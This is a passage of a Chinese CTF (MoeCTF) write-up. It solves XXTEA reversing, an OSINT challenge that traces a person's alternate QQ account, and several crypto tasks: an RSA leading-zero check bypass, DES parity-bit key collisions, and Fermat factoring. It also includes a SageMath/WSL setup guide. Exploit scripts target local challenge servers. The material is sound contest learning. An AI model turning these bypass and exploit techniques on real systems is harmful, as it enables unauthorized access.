w4..w7 xmm_2030 (c0..c3)
w8..w11 xmm_2060 (c12..c15)
w12..w15 xmm_2050 (c8..c11)

不重排直接解密会得到乱码,必须先按上表把 16 个密文 dword 重排成状态顺序。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import struct

M32 = 0xFFFFFFFF
DELTA = 0x5F3759DF
TARGET = 0x58F228D7
n = 16

key = struct.unpack('<4I', bytes.fromhex('43454F4D303246545858363221414554'))
ct_bytes = bytes.fromhex(
    '7c08ea8ee5cef399f35aaa60274d9f8d'
    'dddfeb8458e36b649883773758a5d0c4'
    'e8d14a82e5e9fec3e9eae5c400886008'
    'f425f48997947759c337f54554999b22')
ct = list(struct.unpack('<16I', ct_bytes))
c0,c1,c2,c3,c4,c5,c6,c7 = ct[0:8]
c8,c9,c10,c11,c12,c13,c14,c15 = ct[8:16]
# 按对比布局重排:xmm2030<->w4..w7, xmm2040<->w0..w3, xmm2050<->w12..w15, xmm2060<->w8..w11
ct = [c4,c5,c6,c7, c0,c1,c2,c3, c12,c13,c14,c15, c8,c9,c10,c11]

inv = pow(DELTA, -1, 1 << 32)
rounds = (TARGET * inv) % (1 << 32)
assert rounds == 9

def round_update(v, s, enc):
    for p in (range(n) if enc else range(n-1, -1, -1)):
        nxt, prv = v[(p+1) % n], v[(p-1) % n]
        idx = ((s >> 2) ^ p) & 3
        add = ((s ^ nxt) + (key[idx] ^ prv)) ^ (((nxt << 2) ^ (prv >> 5)) + ((prv << 4) ^ (nxt >> 3)))
        v[p] = (v[p] + add) & M32 if enc else (v[p] - add) & M32
    return v

def decrypt(c):
    v, s = c[:], TARGET
    for _ in range(rounds):
        round_update(v, s, enc=False)
        s = (s - DELTA) & M32
    return v

pt = decrypt(ct)
flag = b''.join(struct.pack('<I', d) for d in pt)
print(flag.decode())

flag:moectf{Tre4t_f4ncha1_W1tH_xxtea_Wh4t_A_g00d_Id3a_HahaHAh4hAH4ha}

注意一下:看到 16 个字、sum 递增、key[e^p]、三个移位/异或项,就是 XXTEA;delta 被换成一个怪数时,用模逆从循环条件反推轮数。

取证与安全杂项

Misc入门指北

欢迎来到取证与安全杂项,或者说是MISC,领取入门指北,找到flag,开始你的挑战吧

miscru_men_zhi_bei_.pdf

这一块就有flag了。

01101101 →109 →m

01101111 →111 →o

01100101 →101 →e

01100011 →99 →c

01110100 →116 →t

01100110 →102 →f

01111011 →123 →{

01010111 →87 →W

00110011 →51 →3

00110001 →49 →1

01100011 →99 →c

00110000 →48 →0

01101101 →109 →m

01100101 →101 →e

01011111 →95 →_

00110111 →55 →7

01101111 →111 →o

01011111 →95 →_

01101101 →109 →m

00110001 →49 →1

00110101 →53 →5

01100011 →99 →c

01111101 →125 →}

拼接得到 flag:moectf{W31c0me_7o_m15c}

星走路的黑历史

每个人都有一些黑历史,starwalking也不例外,我们成功发现了他的小号(@2912933891),或许其中能有什么秘密 ps: 请勿添加好友,不添加是可以做出来的

最抽象的CTFmisc,不是抽象派根本做不来。

这题我不会...,这答案是杂项大手子做的,太厉害了....。

加好友还得要通过验证...

part1

可以去电脑版QQ那的“好友通知”界面可以看到这个签名:

part2

part3

用CyberChef解码

part4

去B站查看:

扫码有信息:

合并flag:moectf{Th3_tr@v3l_of_0s1nt_is_int3restin9_H@h4!}

现代密码学

moeSign1n

只需要输入比赛的名称,就能得到 flag …吗?

密文分析

chal.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from Crypto.Util.number import *
from random import randint

flag = b'moectf{???}'
p = getPrime(512)
q = getPrime(512)
n = p * q
phi = (p - 1) * (q - 1)
while 1:
    e = randint(2, n)
    if GCD(e, phi) == 1:
        d = pow(e, -1, phi)
        break

menu = '''1. get ciphertext.
2. submit.
3. quit.'''

while 1:
    print(menu)
    choice = int(input())
    if choice == 1:
        m = bytes.fromhex(input("what message(hex form) do u want to encrtpt?\n"))
        if m == b'MoeCTF 2026':
            print('no cheat!')
            continue
        print(pow(bytes_to_long(m), e, n))
    elif choice == 2:
        enc = int(input("plz sumbit the ciphertext.\n"))
        dec = long_to_bytes(pow(enc, d, n))
        if dec == b'MoeCTF 2026':
            print("Welcome to MoeCTF 2026!")
            print(flag)
            exit()
        else:
            print("incorrect!")
    elif choice == 3:
        print("bye!")
        exit()
    else:
        print("invalid input!")
        continue

这是一道 RSA 菜单题。

每次连接生成新的 n、e,我们不知道具体值。

选项 1 加密任意消息,但拒绝 m == b'MoeCTF 2026';

选项 2 解密提交的密文,若解出 b'MoeCTF 2026' 就给 flag。

检查是字节级 ==,但 bytes_to_long 忽略前导零。所以 b'\x00MoeCTF 2026' 能通过检查,数值上却等于bytes_to_long(b'MoeCTF 2026');解密端 long_to_bytes 会去掉前导零,正好还原成 b'MoeCTF 2026'。不需要知道 n和 e。

利用 RSA 的等价明文表示。检查是字节级 m == b'MoeCTF 2026',但 bytes_to_long 忽略前导零——提交b'\x00MoeCTF 2026' 的 hex 走选项 1 加密,数值上与目标明文相同;解密端 long_to_bytes 去掉前导零,还原为b'MoeCTF 2026' 拿到 flag。完全不需要恢复随机的 n 和 e。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.log_level = "debug"

# b'\x00MoeCTF 2026' 与 b'MoeCTF 2026' 数值相同,但字节不相等,绕过检查
msg = b"\x00MoeCTF 2026"
def exploit():
    io = remote("127.0.0.1", 8026)
    # 选项 1:加密等价明文
    io.recvuntil(b"3. quit.")
    io.sendline(b"1")
    io.recvuntil(b"encrtpt?\n")
    io.sendline(msg.hex().encode())
    c = io.recvline().strip().decode()

    # 选项 2:提交,解密结果 = long_to_bytes(M) = b'MoeCTF 2026'
    io.recvuntil(b"3. quit.")
    io.sendline(b"2")
    io.recvuntil(b"ciphertext.\n")
    io.sendline(c.encode())
    return io.recvrepeat(timeout=2)


for attempt in range(10):
    data = exploit()
    if b"moectf{" in data.lower():
        print(data.decode(errors="replace"))
        break
    print(f"[attempt {attempt}] retrying...")

SAGE环境配置

  1. 前言
  2. 安装wsl
  3. 通过vscode连接wsl
  4. 更换ubuntu源
  5. linux基本操作指令
  6. 安装conda包管理器
  7. 通过conda安装sage
  8. 为sage安装第三方库
  9. 使用sage

前言

Sagemath是一款快速成长且开源的数学软件,提供了非常丰富的代数与数论方面的功能。在CTF Crypto中,有大量的题目需要编写sage脚本去解决(除非你想用python手搓各种工具)

在如今的AICTFer时代,当我们兴高采烈地打开agent准备一把梭时,总会被一个又一个环境问题给卡住。因为sage的重要性,笔者认为,每一个入门者都应该学习如何配置和使用它。

sagemath在windows上提供了基于 Cygwin 的开箱即用版本,但是版本比较落后,而且调用起来不方便。在网页端上也可以使用,但不支持第三方库。因此,想要全面、便利地使用sage(供ai调用)就必须在Linux子系统里配置相关环境。

安装wsl

wsl_sage_gate_0002.sage

WSL(Windows Subsystem for Linux) 是适用于 Linux 的 Windows 子系统,开发人员可以安装 Linux 分发版(如 Ubuntu、OpenSUSE、Kali、Debian、Arch Linux 等),并在 Windows 上直接使用 Linux 应用程序、实用工具和 Bash 命令行工具(未经修改),无需传统虚拟机或双包设置的开销。

以 管理员身份 打开 PowerShell(右键开始菜单 → Windows PowerShell (管理员)),运行:

1
wsl --install

此命令将启用运行 WSL 所需的所有功能。默认安装Ubuntu分发。

安装完成后重启电脑。

1.C盘要留足空间(大约10g)2.若安装失败,请查看BIOS中虚拟化是否开启

重启后,在菜单搜索Microsoft Store,打开后,在搜索栏搜索ubuntu并安装。

安装完成后,在开始菜单寻找Ubuntu并打开。

首次启动会提示创建Linux用户名和密码( 密码输入时不会显示字符,正常输入后回车即可),然后重复输入密码

通过vscode连接wsl(可选)

Visual Studio Code(简称VSCode)是一款轻量级但功能强大的代码编辑器,支持多种编程语言(注意不是紫色的Visual Studio)

通过配置vscode的各种插件,我们可以通过这一款编辑器,完成几乎所有语言的代码编写。有关如何在vscode中配置并使用python,可以参考Python安装与VSCode配置保姆级教程_vscode安装python库-CSDN博客。

通过vscode连接wsl子系统,我们可以便捷地编辑并运行sage代码。

打开vscode的插件商店,搜索wsl并安装该插件,随后重启vscode,点击左下角的“打开远程窗口”,选择“连接到WSL”,即可完成连接。

连接上后,我们可以打开文件夹/home/用户名。可以新建一个终端,随后的所有命令都可以在vscode的终端中运行。

更换ubuntu源

接下来,由于Ubuntu默认源是国外服务器,国内访问速度慢,替换为清华源,更新和下载软件会快很多。

我这里以Ubuntu 24.04为例(默认版本),如果是其它版本,需要替换底下的源格式,参考清华 TUNA Ubuntu 镜像帮助

先确认系统版本:

1
cat /etc/os-release

确认里面有:

1
2
VERSION_ID="24.04"
VERSION_CODENAME=noble

备份原配置:

1
sudo cp /etc/apt/sources.list.d/ubuntu.sources /etc/apt/sources.list.d/ubuntu.sources.bak

写入清华源配置:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
sudo tee /etc/apt/sources.list.d/ubuntu.sources > /dev/null <<'EOF'
Types: deb
URIs: https://mirrors.tuna.tsinghua.edu.cn/ubuntu
Suites: noble noble-updates noble-backports
Components: main restricted universe multiverse
Signed-By: /usr/share/keyrings/ubuntu-archive-keyring.gpg

Types: deb
URIs: http://security.ubuntu.com/ubuntu/
Suites: noble-security
Components: main restricted universe multiverse
Signed-By: /usr/share/keyrings/ubuntu-archive-keyring.gpg
EOF

然后更新软件包索引:

1
sudo apt update

升级已安装软件包:

1
sudo apt upgrade

linux基本操作指令

类别 指令 作用 示例
查看目录 ls 列出当前目录文件 ls -la
切换目录 cd 进入指定目录 cd /home/user
查看路径 pwd 显示当前所在目录 pwd
创建目录 mkdir 新建文件夹 mkdir test
删除文件 rm 删除文件或目录 rm file.txt
复制文件 cp 复制文件或目录 cp a.txt b.txt
移动/重命名 mv 移动或重命名文件 mv old.txt new.txt
查看文件 cat 输出文件内容 cat file.txt
分页查看 less 分页浏览文件 less log.txt
编辑文件 nano 终端文本编辑器 nano file.txt
查找文件 find 搜索文件 find . -name "*.txt"
搜索内容 grep 在文本中查找内容 grep "error" log.txt
查看进程 ps 显示进程 ps aux
实时进程 top 实时查看系统进程 top
结束进程 kill 终止进程 kill 1234
磁盘空间 df 查看磁盘使用情况 df -h
目录大小 du 查看目录占用空间 du -sh *
网络测试 ping 测试网络连通性 ping google.com
更新软件源 apt update 更新软件包列表 sudo apt update
安装软件 apt install 安装软件包 sudo apt install nginx
卸载软件 apt remove 删除软件包 sudo apt remove nginx
查看日志 journalctl 查看系统日志 journalctl -xe
切换管理员 sudo 以管理员权限执行 sudo reboot
查看命令帮助 man 查看指令手册 man ls

安装conda包管理器

Conda是一款开源的软件包管理系统和环境管理系统,支持在Linux系统中管理多版本软件包及其依赖关系。

下载Miniconda安装包:

1
wget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh -O miniconda.sh

执行安装脚本:

1
bash miniconda.sh

安装过程中,一路回车。如果问[ y/n ] 输入 y 并回车。

随后将conda添加进环境变量

  1. 编辑环境变量配置文件:
1
nano ~/.bashrc
  1. 添加conda路径到文件末尾:

在打开的nano编辑器中,按Ctrl+End跳到文件最后一行,粘贴以下内容:

1
2
export PATH="/home/你的用户名/miniconda3/bin:$PATH"
eval "$(/home/你的用户名/miniconda3/bin/conda shell.bash hook)"

注意替换用户名为自己的。

  1. 保存并生效配置:

• 按Ctrl+O保存,按Enter确认文件名,再按Ctrl+X退出nano; • 执行以下命令让配置立即生效:

1
source ~/.bashrc
  1. 验证是否配置成功:
1
conda --version

如果正确输出版本号,则conda安装成功。

通过conda安装sage

先接受安装的服务条款:

1
2
3
conda tos accept --override-channels --channel https://repo.anaconda.com/pkgs/main

conda tos accept --override-channels --channel https://repo.anaconda.com/pkgs/r

执行安装指令:

1
conda create -n sage -c conda-forge sage -y

安装时间比较久,耐心等待。

安装完成后,先激活环境(以后每次要用的时候都要激活):

1
conda activate sage

激活成功后,前缀会变成(sage),随后尝试进入sage交互界面:

1
sage

出现sage:提示符后,恭喜你,已经完成了sagemath for linux的安装。

为sage安装第三方库

许多我们在python中常用的第三方库在sage中并不自带,我们必须手动安装它们。

先将sage的pip替换为清华源,加快安装速度:

1
pip config set global.index-url https://mirrors.tuna.tsinghua.edu.cn/pypi/web/simple

接下来就可以装库了,我们确保sage环境已激活,随后输入:

1
python -m pip install 库名

比如说,我们想安装pycryptodome这一密码学常用库,只需要执行:

1
2
conda activate sage
python -m pip install pycryptodome

随后测试:

1
sage -c "from Crypto.Util.number import getPrime; print(getPrime(64))"

发现能输出一个大素数,则安装成功。

使用sage

我们只需要在vscode左侧的资源管理器中先新建一个文件夹,用来存放我们的脚本,随后新建 .sage文件,比如test.sage。在.sage文件中编写我们的解题代码,随后在终端中执行

1
sage test.sage

即可运行脚本。

尾声

恭喜你已经成功配置好了wsl中的sage环境,赶紧去运行脚本获得flag吧!

wsl_Sign1n

sage老师,我还记得你。一次一次,将我格基约减。

根据指引,在wsl里安装sage,运行脚本。

复制粘贴一波...

密文分析

按照上一期的 sage文件 :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env sage

from sage.all import *
from sage.env import SAGE_VERSION

import hashlib
import os
import platform
import re
import sys


def die(message):
    print("[-] " + message)
    sys.exit(1)


def parse_version(version):
    parts = [int(x) for x in re.findall(r"\d+", version)]
    return tuple((parts + [0, 0, 0])[:3])


def running_in_wsl():
    if platform.system() != "Linux":
        return False

    candidates = [
        "/proc/sys/kernel/osrelease",
        "/proc/version",
    ]
    for path in candidates:
        try:
            with open(path, "r", encoding="utf-8", errors="ignore") as f:
                text = f.read().lower()
        except OSError:
            continue
        if "microsoft" in text or "wsl" in text:
            return True
    return bool(os.environ.get("WSL_DISTRO_NAME"))


def sage_103_feature_check():
    # Sage 10.3 added PARI as an explicit LLL backend:
    #     Matrix.LLL(algorithm="pari")
    M = identity_matrix(ZZ, 4)
    try:
        R, U = M.LLL(algorithm="pari", transformation=True)
    except Exception as exc:
        die("Sage 10.3 feature check failed: Matrix.LLL(algorithm='pari') cannot run.\n    " + repr(exc))

    if U * M != R:
        die("Sage 10.3 feature check failed: LLL transformation matrix is inconsistent.")

    return R, U


if parse_version(SAGE_VERSION) < (10, 3, 0):
    die("SageMath version is {}, but this challenge needs SageMath 10.3 or newer.".format(SAGE_VERSION))

if not running_in_wsl():
    die("This script must be run inside WSL. Native Windows SageMath and web SageMath are not accepted.")

R, U = sage_103_feature_check()

try:
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import unpad
except ImportError:
    die("pycryptodome is missing. Install it with: python -m pip install pycryptodome")

seed = "moectf-sage-wsl-v1|{}|{}".format(
    ",".join(str(x) for x in R.list()),
    ",".join(str(x) for x in U.list()),
)
key = hashlib.sha256(seed.encode()).digest()
iv = bytes.fromhex("536167654d61746831302e332057534c")
ciphertext = bytes.fromhex(
    "c4dc5084a57ea9f7305cfe462688902fcc139c339b76d94dc0a2f6"
    "74fd2da27c1d48912d2be4dd3b4affed1589bfbdd4"
)

flag = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext), 16).decode()
print("[+] SageMath {} detected".format(SAGE_VERSION))
print("[+] WSL detected")
print("[+] pycryptodome detected")
print(flag)

这是一道 Sage 环境指纹题,密文要求 Sage 10.3+ 且运行在 WSL 中,然后用 identity_matrix(ZZ, 4) 的LLL(algorithm="pari", transformation=True) 输出 R、U 作为种子派生出 AES 密钥,解密出 flag。

我本机是Windows 没有 Sage,需要在linux上配置使用会更好一些(Kali、Ubuntu等)如果你像我一样不按官方教程那样做的话可以先用着Sage Cell Server。

1
2
3
4
M = identity_matrix(ZZ, 4)
R, U = M.LLL(algorithm="pari", transformation=True)
print("R.list():", R.list())
print("U.list():", U.list())

输出:

1
2
R.list(): [1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1]
U.list(): [1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1]

也就是说 LLL 对 4×4 单位矩阵原样返回(单位阵已是最简格基)。然后我把这两个列表填回 seed ="moectf-sage-wsl-v1|1,0,0,...|1,0,0,...",用本机 Python 做 sha256(seed) 派 AES 密钥、CBC解密、unpad,拿到 flag。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

R = [1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1]
U = [1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1]

seed = "moectf-sage-wsl-v1|{}|{}".format(
    ",".join(str(x) for x in R),
    ",".join(str(x) for x in U),
)
print("[*] seed:", seed)
key = hashlib.sha256(seed.encode()).digest()
iv = bytes.fromhex("536167654d61746831302e332057534c")
ct = bytes.fromhex(
    "c4dc5084a57ea9f7305cfe462688902fcc139c339b76d94dc0a2f6"
    "74fd2da27c1d48912d2be4dd3b4affed1589bfbdd4"
)
flag = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), 16).decode()
print("flag:", flag)

密码学入门指北

这是密码学的签到题,请阅读密码学入门指北,开启密码学的旅途吧。

cryptoru_men_zhi_bei_.pdf

密文分析

PDF给了一段代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
alice_public = pow(g, alice_private, p) #生成Alice的公钥
bob_public = pow(g, bob_private, p) #生成Bob的公钥
shared_secret = pow(bob_public, alice_private, p) #共享密钥
key = shared_secret % 256
flag = b"moectf{...}"
ciphertext = [x ^ key for x in flag] #逐字节异或加密
print(f"p = {p}")
print(f"g = {g}")
print(f"alice_public = {alice_public}")
print(f"bob_public = {bob_public}")
print(f"alice_private = {alice_private}") #泄露了私钥!
print(f"ciphertext = {ciphertext}")
"""
p = 170141183460469231731687303715884105727
g = 3
alice_public = 42348823944539164637318232035973172471
bob_public = 101533001028006636636416596392258549313
alice_private = 20260704
ciphertext = [45, 47, 37, 35, 52, 38, 59, 36, 40, 31, 48, 50, 41, 54, 33, 52,
37, 31, 43, 37, 57, 31, 51, 40, 47, 53, 44, 36, 31, 51, 52, 33, 57, 31, 51,
37, 35, 50, 37, 52, 61]
"""

alice_private 已经被打印泄露了。直接算 shared_secret =bob_public^alice_private mod p,取 % 256 当异或 key 即可,纯 Python 就能解。

解法:DH 中 alice_private 被打印泄露,直接 shared_secret = pow(bob_public, alice_private, p),取 key =shared_secret % 256 = 64,逐字节异或还原明文。唯一需要做的只是把泄露的私钥带进公式,完全不用解离散对数。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
p = 170141183460469231731687303715884105727
g = 3
alice_public = 42348823944539164637318232035973172471
bob_public = 101533001028006636636416596392258549313
alice_private = 20260704
ciphertext = [
    45, 47, 37, 35, 52, 38, 59, 36, 40, 31, 48, 50, 41, 54, 33, 52,
    37, 31, 43, 37, 57, 31, 51, 40, 47, 53, 44, 36, 31, 51, 52, 33, 57, 31, 51,
    37, 35, 50, 37, 52, 61,
]

shared_secret = pow(bob_public, alice_private, p)
key = shared_secret % 256
print("shared_secret:", shared_secret)
print("key:", key)
flag = bytes([x ^ key for x in ciphertext])
print("flag:", flag.decode())

shared_secret: 133081657378504818181359339290717498944

key: 64

flag: moectf{dh_private_key_should_stay_secret}

justXOR

真正的大高衔接 belike...

密文分析

chal.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from Crypto.Util.number import long_to_bytes

flag = b'moectf{???}'
# just a normal big prime
M = 2039129633208009090414901212304234091626233923923301042398416489123719065081065776033127561876033127924471

def gen_key(base, n):
    a = [base]
    for _ in range(n - 1):
        new_val = (3 * a[-1] + 2) % M
        a.append(new_val)
    return a[-1]

n = 10**25
key = gen_key(1, n)
enc = bytes([x ^ y for x, y in zip(flag, long_to_bytes(key))])
# b'it\x0bM\xfa-\xe3T{\xaa\x0f@\xa2\xf1@\xbd\x86e\x85\x9e\xfcp_o\x8f\xccd\x13\xceW\x13\x14\x11\x055b\xcbk\xa0'

看题目提示就知道是XOR。

线性同余递推 a[k] = 3a[k-1] + 2 mod M,但 n = 10^25 不能直接循环。先求闭式解:a[k] = (2·3^k − 1) mod M,所以 key = (2·3^(n-1) − 1) mod M,用快速幂算。

解法大体思路就是:

  1. 递推 a[k] = 3a[k-1] + 2 mod M 有闭式解——两边加 1 得 a[k]+1 = 3(a[k-1]+1),故 a[k] = (2·3^k − 1) mod M
  2. key = a[10^25−1] = (2·3^(10^25−1) − 1) mod M,用 pow(3, 10^25-1, M) 快速幂一步算出,无需循环 10^25 次
  3. long_to_bytes(key)(44 字节)与密文按位异或还原 flag

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import long_to_bytes

M = 2039129633208009090414901212304234091626233923923301042398416489123719065081065776033127561876033127924471
n = 10**25

# a[k] = (2*3^k - 1) % M  (闭式解,由 a[k]+1 = 3(a[k-1]+1), a[0]=1 推得)
key = (2 * pow(3, n - 1, M) - 1) % M
print("M.bit_length():", M.bit_length())
print("key:", key)

kb = long_to_bytes(key)
print("len(kb):", len(kb))

enc = b"it\x0bM\xfa-\xe3T{\xaa\x0f@\xa2\xf1@\xbd\x86e\x85\x9e\xfcp_o\x8f\xccd\x13\xceW\x13\x14\x11\x055b\xcbk\xa0"
print("len(enc):", len(enc))

flag = bytes([a ^ b for a, b in zip(enc, kb)])
print("flag:", flag)

M.bit_length(): 350

key: 147183481589408829701249750172849721207990534798800043256139932549834056560153307521450884020126304692505

len(kb): 44

len(enc): 39

flag: b'moectf{a_simple_sequence_problem_for_u}'

the_KEY_of_DES

Try to find a "collision" in DES.

密文分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from Crypto.Cipher import DES
from random import randbytes

flag = b'moectf{???}'
print("Do u know the length of DES'key? That may be the key of DES.")
m = randbytes(8)
print("Here is the message. Please enter two different keys to generate the same ciphertext.")
print(m)
try:
    key1 = bytes.fromhex(input("input the first  key(hex): "))
    key2 = bytes.fromhex(input("input the second key(hex): "))
    des1 = DES.new(key=key1, mode=DES.MODE_ECB)
    c1 = des1.encrypt(m)
    des2 = DES.new(key=key2, mode=DES.MODE_ECB)
    c2 = des2.encrypt(m)
except:
    print("something wrong.")
    exit()

if key1 == key2:
    print("no cheat!")
    exit()

if c1 == c2:
    print("You did it! Here is the flag")
    print(flag)
    exit()
else:
    print("bye!")
    exit()

对于题目所示的逻辑:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
m = randbytes(8)
print("Here is the message. Please enter two different keys to generate the same ciphertext.")
print(m)
key1 = bytes.fromhex(input("input the first  key(hex): "))
key2 = bytes.fromhex(input("input the second key(hex): "))
c1 = DES.new(key=key1, mode=DES.MODE_ECB).encrypt(m)
c2 = DES.new(key=key2, mode=DES.MODE_ECB).encrypt(m)

if key1 == key2:      # 不能一样
    exit()
if c1 == c2:        # 但密文要一样
    print(flag)

即:找两个不同的 DES 密钥,对同一个明文产生相同密文。

提示语 "Do u know the length of DES' key? That may be the key of DES." —— 关键在 DES 密钥长度。

关键在于知道DES 密钥只有 56 位有效!!

DES 密钥名义上是 8 字节(64 位),但其中 8 位是奇偶校验位(每字节的最低位 LSB),密钥调度 PC-1 直接把它们丢弃,实际只使用 56 位,所以:翻转任意字节的 LSB(0x01),加密结果不变。

实测(pycryptodome)如下:

翻转的位 值 密文是否相同
bit 0 (LSB) 0x01 相同
bit 1~7 0x02~0x80 不同

解法思路:

取两个只在奇偶校验位上不同的 key:

  • key1 = 0000000000000000(8 字节 0x00)
  • key2 = 0101010101010101(8 字节 0x01,每个字节只翻转 LSB)

满足 key1 != key2,且 DES_ECB(key1, m) == DES_ECB(key2, m)。

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import socket, time

s = socket.create_connection(('127.0.0.1', 5177), timeout=10)

def recv_until(s, marker, timeout=10):
    s.settimeout(timeout)
    d = b''
    while marker not in d:
        try: c = s.recv(4096)
        except socket.timeout: break
        if not c: break
        d += c
    return d

recv_until(s, b'input the first')
s.sendall(b'0000000000000000\n')
recv_until(s, b'input the second')
s.sendall(b'0101010101010101\n')

s.settimeout(5)
out = b''
end = time.time() + 3
while time.time() < end:
    try: c = s.recv(4096)
    except socket.timeout: break
    if not c: break
    out += c
print(out.decode(errors='replace'))
# b'moectf{7h3_l177l3_7r1ck_w17h_7h3_ch3ck_d1g17}'

exp比较简短,过程略了一些截图,主要跑sage太卡了。

还有就是注意一下校验位是 LSB(0x01) 不是 MSB(0x80)。

ez_f3mr4t

Thi5 rs4 s3ems e2.

密文分析

chall.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
from Cryptodome.Util.number import *
from gmpy2 import next_prime
from secret import flag

p = getStrongPrime(512)
q = next_prime(p ^ ((1<<512)-1))
n = p * q
e = 65537

m = long_to_bytes(flag)
assert m < n
c = pow(m, e, n)

#n = 0x308244e7a7de386723c92ba62e35bc22c3ec1b93023e1551408344a4ba31c6203da849aedee0cadf26a3442f9fd652f7d97c053a3f2c298eab6c0f0c2d0b4642a81765ddb00b690425eb212d5520327ac2d53a22922448399fecb54fbc04dbb68fa33fee7666cb9e05278b5f5f1330b3918d3a7def580fcc00f6f596f16eba3b
#c = 0x13a77e34f09b8a2291cdb397ea0e5cb9e86f691c6565b35c76e6bb6248b67db24315e22fe1dc5321a8820320cdd9b51e3d431459aac2213948f4fbf01c4ce974428d1ed745b2c06f8aa92b22dfede3b7ceb59aa4eb22467129f55b60037a1a2de9b37f25fda3fe40323fccc7c8bbdd4446096b37cef4138337ee9a04c2e3d5fd

有公钥密钥,还有个e = 65537,很明显就是RSA解密了。

这里引用一个大牛解说:

RSA 题,关键在 q = next_prime(p ^ ((1<<512)-1))。512 位按位取反等于 mask - p(逐位无进位),所以 q = next_prime(mask - p),即 p + q = mask + gap,gap 是 next_prime 的微小间距。枚举 gap,找使 (p+q)^2 - 4n为完全平方数的值即可分解 n。

p ^ (2^512−1) = 512 位按位取反,逐位无进位,等价于 mask − p,故 q = next_prime(mask − p),也就是 p + q = mask + gap,gap 极小(实际只有 45);

枚举 gap,构造 s = mask + gap,检查 D = s² − 4n = (p−q)² 是否完全平方数。

EXP

本质是 Fermat 分解的变体——flag 内容也在提示 Fermat。

找到后 p, q = (s ± √D)/2,分解 n,私钥解密得flag:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import math
from Crypto.Util.number import long_to_bytes, inverse

n = 0x308244e7a7de386723c92ba62e35bc22c3ec1b93023e1551408344a4ba31c6203da849aedee0cadf26a3442f9fd652f7d97c053a3f2c298eab6c0f0c2d0b4642a81765ddb00b690425eb212d5520327ac2d53a22922448399fecb54fbc04dbb68fa33fee7666cb9e05278b5f5f1330b3918d3a7def580fcc00f6f596f16eba3b
c = 0x13a77e34f09b8a2291cdb397ea0e5cb9e86f691c6565b35c76e6bb6248b67db24315e22fe1dc5321a8820320cdd9b51e3d431459aac2213948f4fbf01c4ce974428d1ed745b2c06f8aa92b22dfede3b7ceb59aa4eb22467129f55b60037a1a2de9b37f25fda3fe40323fccc7c8bbdd4446096b37cef4138337ee9a04c2e3d5fd
e = 65537
mask = (1 << 512) - 1

p = q = None
for gap in range(1000000):
    s = mask + gap  # p + q = (2^512-1) + gap
    D = s * s - 4 * n
    if D < 0:
        continue
    r = math.isqrt(D)
    if r * r == D:
        pp = (s - r) // 2
        qq = (s + r) // 2
        if pp * qq == n:
            p, q = pp, qq
            print(f"gap = {gap}")
            break

assert p and q
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
print("flag:", long_to_bytes(m).decode())

gap = 45

flag: moectf{F3rm4t_i5_inde3d_7h3_k1ng_0f_@mat3ur_m4them@t1an5}

ez_fermat

This rsa seems ez?

密文分析

chall.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from Crypto.Util.number import bytes_to_long, getPrime

flag = open("flag.txt", "rb").read().strip()
m = bytes_to_long(flag)

e = 65537
p = getPrime(1024)
q = getPrime(1024)
n = p * q
c = pow(m, e, n)

a, b = 0x2025, 0x2026
hint = pow(a * p + b, q, n)

with open("cipher.txt", "w") as f:
    f.write(f"n = {n}\n")
    f.write(f"c = {c}\n")
    f.write(f"hint = {hint}\n")

cipher.txt

1
2
3
n = 15962603324053600624662899467930954606237037554051572101066176482327650464579501876010780067612122315010349894395035821617153081982429716234378979239633769779503395609504372912298014522344609346937078959678893005192469085672940628091531228571447786013091492389216237976408692434723698967667324605921896928717731731591488800520224411239128106892402734198486634978989319563704879076976307439748456769245703782902660583833942684475506024284563786886608632662629581206716450648212025254862836883526055933841863348546872473877054469843468332542834452213365868510001991952142536759384940216228753729399187149594010090304067
